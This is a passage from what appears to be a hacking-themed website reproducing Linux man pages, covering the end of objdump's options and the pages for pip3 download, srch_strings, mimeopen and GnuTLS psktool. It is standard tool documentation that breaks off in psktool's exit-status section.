Specify the architecture to use when disassembling object files. This can be useful when disassembling object files which do not describe architecture information, such as S-records. You can list the available architectures with the -i option. For most architectures it is possible to supply an architecture name and a machine name, separated by a colon. For example foo:bar would refer to the bar machine type in the foo architecture. This can be helpful if objdump has been configured to support multiple architectures. If the target is an ARM architecture then this switch has an additional effect. It restricts the disassembly to only those instructions supported by the architecture specified by machine. If it is necessary to use this switch because the input file does not contain any architecture information, but it is also desired to disassemble all the instructions use -marm.

-M options

–disassembler-options=options

Pass target specific information to the disassembler. Only supported on some targets. If it is necessary to specify more than one disassembler option then multiple -M options can be used or can be placed together into a comma separated list. For ARC, dsp controls the printing of DSP instructions, spfp selects the printing of FPX single precision FP instructions, dpfp selects the printing of FPX double precision FP instructions, quarkse_em selects the printing of special QuarkSE-EM instructions, fpuda selects the printing of double precision assist instructions, fpus selects the printing of FPU single precision FP instructions, while fpud selects the printing of FPU double precision FP instructions. Additionally, one can choose to have all the immediates printed in hexadecimal using hex. By default, the short immediates are printed using the decimal representation, while the long immediate values are printed as hexadecimal. cpu=… allows one to enforce a particular ISA when disassembling instructions, overriding the -m value or whatever is in the ELF file. This might be useful to select ARC EM or HS ISA, because architecture is same for those and disassembler relies on private ELF header data to decide if code is for EM or HS. This option might be specified multiple times - only the latest value will be used. Valid values are same as for the assembler -mcpu=… option. If the target is an ARM architecture then this switch can be used to select which register name set is used during disassembler. Specifying -M reg-names-std (the default) will select the register names as used in ARM’s instruction set documentation, but with register 13 called ‘sp’, register 14 called ’lr’ and register 15 called ‘pc’. Specifying -M reg-names-apcs will select the name set used by the ARM Procedure Call Standard, whilst specifying -M reg-names-raw will just use r followed by the register number. There are also two variants on the APCS register naming scheme enabled by -M reg-names-atpcs and -M reg-names-special-atpcs which use the ARM/Thumb Procedure Call Standard naming conventions. (Either with the normal register names or the special register names). This option can also be used for ARM architectures to force the disassembler to interpret all instructions as Thumb instructions by using the switch –disassembler-options=force-thumb. This can be useful when attempting to disassemble thumb code produced by other compilers. For AArch64 targets this switch can be used to set whether instructions are disassembled as the most general instruction using the -M no-aliases option or whether instruction notes should be generated as comments in the disasssembly using -M notes. For the x86, some of the options duplicate functions of the -m switch, but allow finer grained control.

“x86-64”

“i386”

“i8086”

Select disassembly for the given architecture.

“intel”

“att”

Select between intel syntax mode and AT&T syntax mode.

“amd64”

“intel64”

Select between AMD64 ISA and Intel64 ISA.

“intel-mnemonic”

“att-mnemonic”

Select between intel mnemonic mode and AT&T mnemonic mode. Note: intel-mnemonic implies intel and att-mnemonic implies att.

“addr64”

“addr32”

“addr16”

“data32”

“data16”

Specify the default address size and operand size. These five options will be overridden if x86-64, i386 or i8086 appear later in the option string.

“suffix”
When in AT&T mode and also for a limited set of instructions when in Intel mode, instructs the disassembler to print a mnemonic suffix even when the suffix could be inferred by the operands or, for certain instructions, the execution mode’s defaults.

For PowerPC, the -M argument raw selects disasssembly of hardware insns rather than aliases. For example, you will see rlwinm rather than clrlwi, and addi rather than li. All of the -m arguments for gas that select a CPU are supported. These are: 403, 405, 440, 464, 476, 601, 603, 604, 620, 7400, 7410, 7450, 7455, 750cl, 821, 850, 860, a2, booke, booke32, cell, com, e200z2, e200z4, e300, e500, e500mc, e500mc64, e500x2, e5500, e6500, efs, power4, power5, power6, power7, power8, power9, power10, power11, ppc, ppc32, ppc64, ppc64bridge, ppcps, pwr, pwr2, pwr4, pwr5, pwr5x, pwr6, pwr7, pwr8, pwr9, pwr10, pwr11, pwrx, titan, vle, and future. 32 and 64 modify the default or a prior CPU selection, disabling and enabling 64-bit insns respectively. In addition, altivec, any, lsp, htm, vsx, spe and spe2 add capabilities to a previous or later CPU selection. any will disassemble any opcode known to binutils, but in cases where an opcode has two different meanings or different arguments, you may not see the disassembly you expect. If you disassemble without giving a CPU selection, a default will be chosen from information gleaned by BFD from the object files headers, but the result again may not be as you expect. For MIPS, this option controls the printing of instruction mnemonic names and register names in disassembled instructions. Multiple selections from the following may be specified as a comma separated string, and invalid options are ignored:

“no-aliases”
Print the ‘raw’ instruction mnemonic instead of some pseudo instruction mnemonic. I.e., print ‘daddu’ or ‘or’ instead of ‘move’, ‘sll’ instead of ’nop’, etc.

“msa”
Disassemble MSA instructions.

“virt”
Disassemble the virtualization ASE instructions.

“xpa”
Disassemble the eXtended Physical Address (XPA) ASE instructions.

“gpr-names=ABI”
Print GPR (general-purpose register) names as appropriate for the specified ABI. By default, GPR names are selected according to the ABI of the binary being disassembled.

“fpr-names=ABI”
Print FPR (floating-point register) names as appropriate for the specified ABI. By default, FPR numbers are printed rather than names.

“cp0-names=ARCH”
Print CP0 (system control coprocessor; coprocessor 0) register names as appropriate for the CPU or architecture specified by ARCH. By default, CP0 register names are selected according to the architecture and CPU of the binary being disassembled.

“hwr-names=ARCH”
Print HWR (hardware register, used by the rdhwr instruction) names as appropriate for the CPU or architecture specified by ARCH. By default, HWR names are selected according to the architecture and CPU of the binary being disassembled.

“reg-names=ABI”
Print GPR and FPR names as appropriate for the selected ABI.

“reg-names=ARCH”
Print CPU-specific register names (CP0 register and HWR names) as appropriate for the selected CPU or architecture.

For any of the options listed above, ABI or ARCH may be specified as numeric to have numbers printed rather than names, for the selected types of registers. You can list the available values of ABI and ARCH using the –help option. For VAX, you can specify function entry addresses with -M entry:0xf00ba. You can use this multiple times to properly disassemble VAX binary files that don’t contain symbol tables (like ROM dumps). In these cases, the function entry mask would otherwise be decoded as VAX instructions, which would probably lead the rest of the function being wrongly disassembled.

-p

–private-headers

Print information that is specific to the object file format. The exact information printed depends upon the object file format. For some object file formats, no additional information is printed.

-P options

–private=options

Print information that is specific to the object file format. The argument options is a comma separated list that depends on the format (the lists of options is displayed with the help). For XCOFF, the available options are:

“header”

“aout”

“sections”

“syms”

“relocs”

“lineno,”

“loader”

“except”

“typchk”

“traceback”

“toc”

“ldinfo”

For PE, the available options are:

“header”

“sections”

Not all object formats support this option. In particular the ELF format does not use it.

-r

–reloc

Print the relocation entries of the file. If used with -d or -D, the relocations are printed interspersed with the disassembly.

-R

–dynamic-reloc

Print the dynamic relocation entries of the file. This is only meaningful for dynamic objects, such as certain types of shared libraries. As for -r, if used with -d or -D, the relocations are printed interspersed with the disassembly.

-s

–full-contents

Display the full contents of sections, often used in combination with -j to request specific sections. By default all non-empty non-bss sections are displayed. By default any compressed section will be displayed in its compressed form. In order to see the contents in a decompressed form add the -Z option to the command line.

-S

–source

Display source code intermixed with disassembly, if possible. Implies -d.

–show-all-symbols
When disassembling, show all the symbols that match a given address, not just the first one.

–source-comment[=txt]
Like the -S option, but all source code lines are displayed with a prefix of txt. Typically txt will be a comment string which can be used to distinguish the assembler code from the source code. If txt is not provided then a default string of "# “ (hash followed by a space), will be used.

–prefix=prefix
Specify prefix to add to the absolute paths when used with -S.

–prefix-strip=level
Indicate how many initial directory names to strip off the hardwired absolute paths. It has no effect without **–prefix=**prefix.

–show-raw-insn
When disassembling instructions, print the instruction in hex as well as in symbolic form. This is the default except when –prefix-addresses is used.

–no-show-raw-insn
When disassembling instructions, do not print the instruction bytes. This is the default when –prefix-addresses is used.

–insn-width=width
Display width bytes on a single line when disassembling instructions.

–visualize-jumps[=color|=extended-color|=off]
Visualize jumps that stay inside a function by drawing ASCII art between the start and target addresses. The optional =color argument adds color to the output using simple terminal colors. Alternatively the =extended-color argument will add color using 8bit colors, but these might not work on all terminals. If it is necessary to disable the visualize-jumps option after it has previously been enabled then use visualize-jumps=off.

–disassembler-color=off

–disassembler-color=terminal

–disassembler-color=on|color|colour

–disassembler-color=extened|extended-color|extened-colour

Enables or disables the use of colored syntax highlighting in disassembly output. The default behaviour is determined via a configure time option. Note, not all architectures support colored syntax highlighting, and depending upon the terminal used, colored output may not actually be legible. The on argument adds colors using simple terminal colors. The terminal argument does the same, but only if the output device is a terminal. The extended-color argument is similar to the on argument, but it uses 8-bit colors. These may not work on all terminals. The off argument disables colored disassembly.

-W[lLiaprmfFsoORtUuTgAckK]

–dwarf[=rawline,=decodedline,=info,=abbrev,=pubnames,=aranges,=macro,=frames,=frames-interp,=str,=str-offsets,=loc,=Ranges,=pubtypes,=trace_info,=trace_abbrev,=trace_aranges,=gdb_index,=addr,=cu_index,=links,=follow-links]

Displays the contents of the DWARF debug sections in the file, if any are present. Compressed debug sections are automatically decompressed (temporarily) before they are displayed. If one or more of the optional letters or words follows the switch then only those type(s) of data will be dumped. The letters and words refer to the following information:

“a”

“=abbrev”

Displays the contents of the .debug_abbrev section.

“A”

“=addr”

Displays the contents of the .debug_addr section.

“c”

“=cu_index”

Displays the contents of the .debug_cu_index and/or .debug_tu_index sections.

“f”

“=frames”

Display the raw contents of a .debug_frame section.

“F”

“=frames-interp”

Display the interpreted contents of a .debug_frame section.

“g”

“=gdb_index”

Displays the contents of the .gdb_index and/or .debug_names sections.

“i”

“=info”

Displays the contents of the .debug_info section. Note: the output from this option can also be restricted by the use of the –dwarf-depth and –dwarf-start options.

“k”

“=links”

Displays the contents of the .gnu_debuglink, .gnu_debugaltlink and .debug_sup sections, if any of them are present. Also displays any links to separate dwarf object files (dwo), if they are specified by the DW_AT_GNU_dwo_name or DW_AT_dwo_name attributes in the .debug_info section.

“K”

“=follow-links”

Display the contents of any selected debug sections that are found in linked, separate debug info file(s). This can result in multiple versions of the same debug section being displayed if it exists in more than one file. In addition, when displaying DWARF attributes, if a form is found that references the separate debug info file, then the referenced contents will also be displayed. Note - in some distributions this option is enabled by default. It can be disabled via the N debug option. The default can be chosen when configuring the binutils via the –enable-follow-debug-links=yes or –enable-follow-debug-links=no options. If these are not used then the default is to enable the following of debug links. Note - if support for the debuginfod protocol was enabled when the binutils were built then this option will also include an attempt to contact any debuginfod servers mentioned in the DEBUGINFOD_URLS environment variable. This could take some time to resolve. This behaviour can be disabled via the =do-not-use-debuginfod debug option.

“N”

“=no-follow-links”

Disables the following of links to separate debug info files.

“D”

“=use-debuginfod”

Enables contacting debuginfod servers if there is a need to follow debug links. This is the default behaviour.

“E”

“=do-not-use-debuginfod”

Disables contacting debuginfod servers when there is a need to follow debug links.

“l”

“=rawline”

Displays the contents of the .debug_line section in a raw format.

“L”

“=decodedline”

Displays the interpreted contents of the .debug_line section.

“m”

“=macro”

Displays the contents of the .debug_macro and/or .debug_macinfo sections.

“o”

“=loc”

Displays the contents of the .debug_loc and/or .debug_loclists sections.

“O”

“=str-offsets”

Displays the contents of the .debug_str_offsets section.

“p”

“=pubnames”

Displays the contents of the .debug_pubnames and/or .debug_gnu_pubnames sections.

“r”

“=aranges”

Displays the contents of the .debug_aranges section.

“R”

“=Ranges”

Displays the contents of the .debug_ranges and/or .debug_rnglists sections.

“s”

“=str”

Displays the contents of the .debug_str, .debug_line_str and/or .debug_str_offsets sections.

“t”

“=pubtype”

Displays the contents of the .debug_pubtypes and/or .debug_gnu_pubtypes sections.

“T”

“=trace_aranges”

Displays the contents of the .trace_aranges section.

“u”

“=trace_abbrev”

Displays the contents of the .trace_abbrev section.

“U”

“=trace_info”

Displays the contents of the .trace_info section.

Note: displaying the contents of .debug_static_funcs, .debug_static_vars and debug_weaknames sections is not currently supported.

–dwarf-depth=n
Limit the dump of the .debug_info section to n children. This is only useful with –debug-dump=info. The default is to print all DIEs; the special value 0 for n will also have this effect. With a non-zero value for n, DIEs at or deeper than n levels will not be printed. The range for n is zero-based.

–dwarf-start=n
Print only DIEs beginning with the DIE numbered n. This is only useful with –debug-dump=info. If specified, this option will suppress printing of any header information and all DIEs before the DIE numbered n. Only siblings and children of the specified DIE will be printed. This can be used in conjunction with –dwarf-depth.

–dwarf-check
Enable additional checks for consistency of Dwarf information.

–ctf[=section]
Display the contents of the specified CTF section. CTF sections themselves contain many subsections, all of which are displayed in order. By default, display the name of the section named .ctf, which is the name emitted by ld.

–ctf-parent=member
If the CTF section contains ambiguously-defined types, it will consist of an archive of many CTF dictionaries, all inheriting from one dictionary containing unambiguous types. This member is by default named .ctf, like the section containing it, but it is possible to change this name using the ctf_link_set_memb_name_changer function at link time. When looking at CTF archives that have been created by a linker that uses the name changer to rename the parent archive member, –ctf-parent can be used to specify the name used for the parent.

–ctf-parent-section=section
This option lets you pick a completely different section for the CTF parent dictionary containing unambiguous types than for the child dictionaries that contain the ambiguous remainder. The linker does not emit ELF objects structured like this, but some third-party linkers may. It’s also convenient to inspect CTF written out as multiple raw files to compose them with objcopy, which can put them in different ELF sections but not in different members of a single CTF dict.

–sframe[=section]
Display the contents of the specified SFrame section. By default, display the name of the section named .sframe, which is the name emitted by ld.

-G

–stabs

Display the full contents of any sections requested. Display the contents of the .stab and .stab.index and .stab.excl sections from an ELF file. This is only useful on systems (such as Solaris 2.0) in which .stab debugging symbol-table entries are carried in an ELF section. In most other file formats, debugging symbol-table entries are interleaved with linkage symbols, and are visible in the –syms output.

–start-address=address
Start displaying data at the specified address. This affects the output of the -d, -r and -s options.

–stop-address=address
Stop displaying data at the specified address. This affects the output of the -d, -r and -s options.

-t

–syms

Print the symbol table entries of the file. This is similar to the information provided by the nm program, although the display format is different. The format of the output depends upon the format of the file being dumped, but there are two main types. One looks like this: [ 4](sec 3)(fl 0x00)(ty 0)(scl 3) (nx 1) 0x00000000 .bss [ 6](sec 1)(fl 0x00)(ty 0)(scl 2) (nx 0) 0x00000000 fred where the number inside the square brackets is the number of the entry in the symbol table, the sec number is the section number, the fl value are the symbol’s flag bits, the ty number is the symbol’s type, the scl number is the symbol’s storage class and the nx value is the number of auxiliary entries associated with the symbol. The last two fields are the symbol’s value and its name. The other common output format, usually seen with ELF based files, looks like this: 00000000 l d .bss 00000000 .bss 00000000 g .text 00000000 fred Here the first number is the symbol’s value (sometimes referred to as its address). The next field is actually a set of characters and spaces indicating the flag bits that are set on the symbol. These characters are described below. Next is the section with which the symbol is associated or *ABS* if the section is absolute (ie not connected with any section), or *UND* if the section is referenced in the file being dumped, but not defined there. After the section name comes another field, a number, which for common symbols is the alignment and for other symbol is the size. Finally the symbol’s name is displayed. The flag characters are divided into 7 groups as follows:

“l”

“g”

“u”

“!”

The symbol is a local (l), global (g), unique global (u), neither global nor local (a space) or both global and local (!). A symbol can be neither local or global for a variety of reasons, e.g., because it is used for debugging, but it is probably an indication of a bug if it is ever both local and global. Unique global symbols are a GNU extension to the standard set of ELF symbol bindings. For such a symbol the dynamic linker will make sure that in the entire process there is just one symbol with this name and type in use.

“w”
The symbol is weak (w) or strong (a space).

“C”
The symbol denotes a constructor (C) or an ordinary symbol (a space).

“W”
The symbol is a warning (W) or a normal symbol (a space). A warning symbol’s name is a message to be displayed if the symbol following the warning symbol is ever referenced.

“I”

“i”

The symbol is an indirect reference to another symbol (I), a function to be evaluated during reloc processing (i) or a normal symbol (a space).

“d”

“D”

The symbol is a debugging symbol (d) or a dynamic symbol (D) or a normal symbol (a space).

“F”

“f”

“O”

The symbol is the name of a function (F) or a file (f) or an object (O) or just a normal symbol (a space).

-T

–dynamic-syms

Print the dynamic symbol table entries of the file. This is only meaningful for dynamic objects, such as certain types of shared libraries. This is similar to the information provided by the nm program when given the -D (–dynamic) option. The output format is similar to that produced by the –syms option, except that an extra field is inserted before the symbol’s name, giving the version information associated with the symbol. If the version is the default version to be used when resolving unversioned references to the symbol then it’s displayed as is, otherwise it’s put into parentheses.

–special-syms
When displaying symbols include those which the target considers to be special in some way and which would not normally be of interest to the user.

-U [d|i|l|e|x|h]

–unicode=[default|invalid|locale|escape|hex|highlight]

Controls the display of UTF-8 encoded multibyte characters in strings. The default (–unicode=default) is to give them no special treatment. The –unicode=locale option displays the sequence in the current locale, which may or may not support them. The options –unicode=hex and –unicode=invalid display them as hex byte sequences enclosed by either angle brackets or curly braces. The –unicode=escape option displays them as escape sequences (\uxxxx) and the –unicode=highlight option displays them as escape sequences highlighted in red (if supported by the output device). The colouring is intended to draw attention to the presence of unicode sequences where they might not be expected.

-V

–version

Print the version number of objdump and exit.

-x

–all-headers

Display all available header information, including the symbol table and relocation entries. Using -x is equivalent to specifying all of -a -f -h -p -r -t.

-w

–wide

Format some lines for output devices that have more than 80 columns. Also do not truncate symbol names when they are displayed.

-z

–disassemble-zeroes

Normally the disassembly output will skip blocks of zeroes. This option directs the disassembler to disassemble those blocks, just like any other data.

-Z

–decompress

The -Z option is meant to be used in conunction with the -s option. It instructs objdump to decompress any compressed sections before displaying their contents.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

nm (1), readelf (1), and the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

466 - Linux cli command pip3-download

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pip3-download and provides detailed information about the command pip3-download, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pip3-download.

NAME 🖥️ pip3-download 🖥️

download - description of pip3 download command

DESCRIPTION

Download packages from:

  • PyPI (and other indexes) using requirement specifiers.

  • VCS project urls.

  • Local project directories.

  • Local or remote source archives.

pip also supports downloading from “requirements files”, which provide an easy way to specify a whole environment to be downloaded.

USAGE

python -m pip download [options] [package-index-options] … python -m pip download [options] -r [package-index-options] … python -m pip download [options] … python -m pip download [options] … python -m pip download [options] <archive url/path> …

OPTIONS

-c, –constraint <file>
Constrain versions using the given constraints file. This option can be used multiple times.

(environment variable: PIP_CONSTRAINT)

-r, –requirement <file>
Install from the given requirements file. This option can be used multiple times.

(environment variable: PIP_REQUIREMENT)

–no-deps
Don’t install package dependencies.

(environment variable: PIP_NO_DEPS, PIP_NO_DEPENDENCIES)

–global-option <options>
Extra global options to be supplied to the setup.py call before the install or bdist_wheel command.

(environment variable: PIP_GLOBAL_OPTION)

–no-binary <format_control>
Do not use binary packages. Can be supplied multiple times, and each time adds to the existing value. Accepts either “:all:” to disable all binary packages, “:none:” to empty the set (notice the colons), or one or more package names with commas between them (no colons). Note that some packages are tricky to compile and may fail to install when this option is used on them.

(environment variable: PIP_NO_BINARY)

–only-binary <format_control>
Do not use source packages. Can be supplied multiple times, and each time adds to the existing value. Accepts either “:all:” to disable all source packages, “:none:” to empty the set, or one or more package names with commas between them. Packages without binary distributions will fail to install when this option is used on them.

(environment variable: PIP_ONLY_BINARY)

–prefer-binary
Prefer binary packages over source packages, even if the source packages are newer.

(environment variable: PIP_PREFER_BINARY)

–src <dir>
Directory to check out editable projects into. The default in a virtualenv is “<venv path>/src”. The default for global installs is “<current dir>/src”.

(environment variable: PIP_SRC, PIP_SOURCE, PIP_SOURCE_DIR, PIP_SOURCE_DIRECTORY)

–pre
Include pre-release and development versions. By default, pip only finds stable versions.

(environment variable: PIP_PRE)

–require-hashes
Require a hash to check each requirement against, for repeatable installs. This option is implied when any package in a requirements file has a –hash option.

(environment variable: PIP_REQUIRE_HASHES)

–progress-bar <progress_bar>
Specify whether the progress bar should be used [on, off, raw] (default: on)

(environment variable: PIP_PROGRESS_BAR)

–no-build-isolation
Disable isolation when building a modern source distribution. Build dependencies specified by PEP 518 must be already installed if this option is used.

(environment variable: PIP_NO_BUILD_ISOLATION)

–use-pep517
Use PEP 517 for building source distributions (use –no-use-pep517 to force legacy behaviour).

(environment variable: PIP_USE_PEP517)

–check-build-dependencies
Check the build dependencies when PEP517 is used.

(environment variable: PIP_CHECK_BUILD_DEPENDENCIES)

–ignore-requires-python
Ignore the Requires-Python information.

(environment variable: PIP_IGNORE_REQUIRES_PYTHON)

-d, –dest <dir>
Download packages into <dir>.

(environment variable: PIP_DEST, PIP_DESTINATION_DIR, PIP_DESTINATION_DIRECTORY)

–platform <platform>
Only use wheels compatible with <platform>. Defaults to the platform of the running system. Use this option multiple times to specify multiple platforms supported by the target interpreter.

(environment variable: PIP_PLATFORM)

–python-version <python_version>
The Python interpreter version to use for wheel and “Requires-Python” compatibility checks. Defaults to a version derived from the running interpreter. The version can be specified using up to three dot-separated integers (e.g. “3” for 3.0.0, “3.7” for 3.7.0, or “3.7.3”). A major-minor version can also be given as a string without dots (e.g. “37” for 3.7.0).

(environment variable: PIP_PYTHON_VERSION)

–implementation <implementation>
Only use wheels compatible with Python implementation <implementation>, e.g. ‘pp’, ‘jy’, ‘cp’, or ‘ip’. If not specified, then the current interpreter implementation is used. Use ‘py’ to force implementation-agnostic wheels.

(environment variable: PIP_IMPLEMENTATION)

–abi <abi>
Only use wheels compatible with Python abi <abi>, e.g. ‘pypy_41’. If not specified, then the current interpreter abi tag is used. Use this option multiple times to specify multiple abis supported by the target interpreter. Generally you will need to specify –implementation, –platform, and –python-version when using this option.

(environment variable: PIP_ABI)

–no-clean
Don’t clean up build directories.

(environment variable: PIP_NO_CLEAN)

AUTHOR

pip developers

COPYRIGHT

The pip developers

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

467 - Linux cli command srch_strings

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command srch_strings and provides detailed information about the command srch_strings, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the srch_strings.

NAME 🖥️ srch_strings 🖥️

display printable strings in files

SYNOPSIS

 srch_strings [options] [files]

OPTIONS

-a
Scan the entire file, not just the data section.

-f
Print the name of the file before each string.

-n number, -number
Locate and print any NUL-terminated sequence of at least number characters (default 4).

-t {o,x,d}
Print the location of the string in base 8, 10 or 16.

-o
An alias for –radix=o.

-e {s,S,b,l,B,L}
Select character size and endianness: s = 7-bit, S = 8-bit, {b,l} = 16-bit, {B,L} = 32-bit.

-h
Display command line help.

-v
Print the program’s version number.

SEE ALSO

strings(1)

AUTHOR

The SleuthKit is copyright (c) Brian Carrier.

This manual page was written by Martin A. Godisch for Debian GNU/Linux, but may be used by others.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

468 - Linux cli command mimeopenp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mimeopenp and provides detailed information about the command mimeopenp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mimeopenp.

NAME 🖥️ mimeopenp 🖥️

Open files by mimetype

SYNOPSIS

mimeopen [options] [-] files

DESCRIPTION

This script tries to determine the mimetype of a file and open it with the default desktop application. If no default application is configured the user is prompted with an “open with” menu in the terminal.

To use this script you need the freedesktop mime-info database and the freedesktop desktop-file-utils package. See File::MimeInfo::Applications (3) for more details.

OPTIONS

-a, –ask
Do not execute the default application but ask which application to run. This does not change the default application.

-d, –ask-default
Let the user choose a new default program for given files.

-n, –no-ask
Don’t ask the user which program to use. Choose the default program or the first program known to handle the file mimetype. This does not set the default application.

-M, –magic-only
Do not check for extensions, globs or inode type, only look at the content of the file. This is particularly useful if for some reason you don’t trust the name or the extension a file has.

–database=mimedir:mimedir:…
Force the program to look in these directories for the shared mime-info database. The directories specified by the basedir specification are ignored.

-D, –debug
Print debug information about how the mimetype was determined.

-h, –help

-u, –usage

Print a help message and exits.

-v, –version
Print the version of the program and exit.

DEPRECATED OPTIONS

-L, –dereference
Follow symbolic links. Deprecated because this is the logical default for this command. Ignored silently.

BUGS

If you find bugs, please file them in our Github issue tracker at <https://github.com/mbeijen/File-MimeInfo/issues>.

See File::MimeInfo::Applications (3) and File::DesktopEntry (3) for some limitations.

AUTHOR

Jaap Karssenberg <[email protected]> Maintained by Michiel Beijen <[email protected]>

COPYRIGHT

Copyright (c) 2002, 2012 Jaap G Karssenberg. All rights reserved. This program is free software; you can redistribute it and/or modify it under the same terms as Perl.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

SEE ALSO

mimetype (1), update-mime-database (1), update-desktop-database (1), File::MimeInfo (3), File::MimeInfo::Applications (3)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

469 - Linux cli command psktool

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command psktool and provides detailed information about the command psktool, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the psktool.

NAME 🖥️ psktool 🖥️

GnuTLS PSK tool

SYNOPSIS

psktool [-flags] [-flag [value]] [–option-name[[=| ]value]]

All arguments must be options.

DESCRIPTION

Program that generates random keys for use with TLS-PSK. The keys are stored in hexadecimal format in a key file.

OPTIONS

Enable debugging. This option takes an integer number as its argument. The value of num is constrained to being:

in the range 0 through 9999

Specifies the debug level.

Specify the key size in bytes (default is 32-bytes or 256-bits). This option takes an integer number as its argument. The value of num is constrained to being:

in the range 0 through 512

Specify the username to use.

Specify a pre-shared key file.

This option will specify the pre-shared key file to store the generated keys.

This is an alias for the –pskfile option.

NOTE: THIS OPTION IS DEPRECATED

Output version of program and exit. The default mode is `v’, a simple version. The `c’ mode will print copyright information and `n’ will print the full copyright notice.

Display usage information and exit.

Pass the extended usage information through a pager.

EXAMPLES

To add a user ‘psk_identity’ in keys.psk for use with GnuTLS run:

$ ./psktool -u psk_identity -p keys.psk
Generating a random key for user 'psk_identity'
Key stored to keys.psk
$ cat keys.psk
psk_identity:88f3824b3e5659f52d00e959bacab954b6540344
$

This command will create keys.psk if it does not exist and will add user ‘psk_identity’.

EXIT STATUS

One of the following exit values will be returned:

Successful program execution.

